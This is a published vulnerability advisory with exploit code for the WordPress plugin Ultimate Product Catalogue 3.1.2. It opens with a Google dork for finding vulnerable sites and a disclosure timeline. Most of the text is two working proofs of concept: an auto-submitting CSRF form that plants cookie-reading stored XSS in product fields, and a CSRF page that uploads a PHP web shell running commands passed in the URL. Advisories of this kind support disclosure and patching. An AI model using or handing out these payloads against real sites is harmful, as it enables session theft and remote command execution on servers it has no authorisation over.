WordPress Plugin Ultimate Product Catalogue 3.1.2 – Multiple Persistent Cross-Site Scripting / Cross-Site Request Forgery / Arbitrary File Upload Vulnerabilities
# Exploit Title: Multiple Persistent XSS & CSRF & File Upload on Ultimate Product Catalogue 3.1.2 # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue" intext:"Category", inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/" # Date: 22/04/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip # Version: <= 3.1.2, Comunicated and Fixed by the Vendor in 3.1.5 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary: Ultimate Product Catalogue is a responsive and easily customizable plugin for all your product catalogue needs. It has +63.000 downloads, +4.000 active installations. Product Name and Description and File Upload formulary of plugin Ultimate Product Catalog lacks of proper CSRF protection and proper filtering. Allowing an attacker to alter a product pressented to a customer or the wordpress administrators and insert XSS in his product name and description. It also allows an attacker to upload a php script though a CSRF due to a lack of file type filtering when uploading it. 2. Vulnerability timeline: - 22/04/2015: Identified in version 3.1.2 - 22/04/2015: Comunicated to developer company etoilewebdesign.com - 22/04/2015: Response from etoilewebdesign.com and fixed two SQLi in 3.1.3 but not these vulnerabilities. - 28/04/2015: Fixed version in 3.1.5 without notifying me. 3. Vulnerable code: In file html/ProductPage multiple lines. 3. Proof of concept: https://www.youtube.com/watch?v=roB_ken6U4o ---------------------------------------------------------------------------------------------- ------------- CSRF & XSS in Product Description and Name ----------- ---------------------------------------------------------------------------------------------- <iframe width=0 height=0 style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http:// <web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16' target="csrf-frame" id="csrf-form"> <input type='hidden' name='action' value='Edit_Product'> <input type='hidden' name='_wp_http_referer' value='/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16'/> <input type='hidden' name='Item_Name' value="Product name</a><script>alert('Product Name says: '+document.cookie)</script><a>"/> <input type='hidden' name='Item_Slug' value='asdf'/> <input type='hidden' name='Item_ID' value='16'/> <input type='hidden' name='Item_Image' value=' http://i.imgur.com/6cWKujq.gif'> <input type='hidden' name='Item_Price' value='666'> <input type='hidden' name='Item_Description' value="Product description says<script>alert('Product description says: '+document.cookie)</script>"/> <input type='hidden' name='Item_SEO_Description' value='seo desc'> <input type='hidden' name='Item_Link' value=''> <input type='hidden' name='Item_Display_Status' value='Show'> <input type='hidden' name='Category_ID' value=''> <input type='hidden' name='SubCategory_ID' value=''> <input style="display:none" type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> ---------------------------------------------------------------------------------------------- -------- CSRF & File Upload in Product Description and Name ------ ---------------------------------------------------------------------------------------------- <html> <body onload="submitRequest();"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://<web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_AddProductSpreadsheet&DisplayPage=Product", true); xhr.setRequestHeader("Host", "<web>"); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Cache-Control", "max-age=0"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,es;q=0.6"); xhr.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36"); xhr.setRequestHeader("Accept-Encoding", "gzip, deflate"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarylPTZvbxAcw0q01W3"); var body = "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name=\"Products_Spreadsheet\"; filename=\"cooldog.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "<?php\r\n" + "exec($_GET['c'],$output);\r\n" + "foreach ($output as $line) {\r\n" + "echo \"<br/>\".$line;\r\n" + "}\r\n" + "?>\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name='submit'\r\n" + "\r\n" + "Add New Products\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3--\r\n" ; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input style="display:none;" type="submit" value="Up!" onclick="submitRequest();" /> </form> </body> </html> Te file cooldog.php is no available in path http:// <web>/wp-content/plugins/ultimate-product-catalogue/product-sheets/cooldog.php 4. Solution: Update to version 3.1.5 |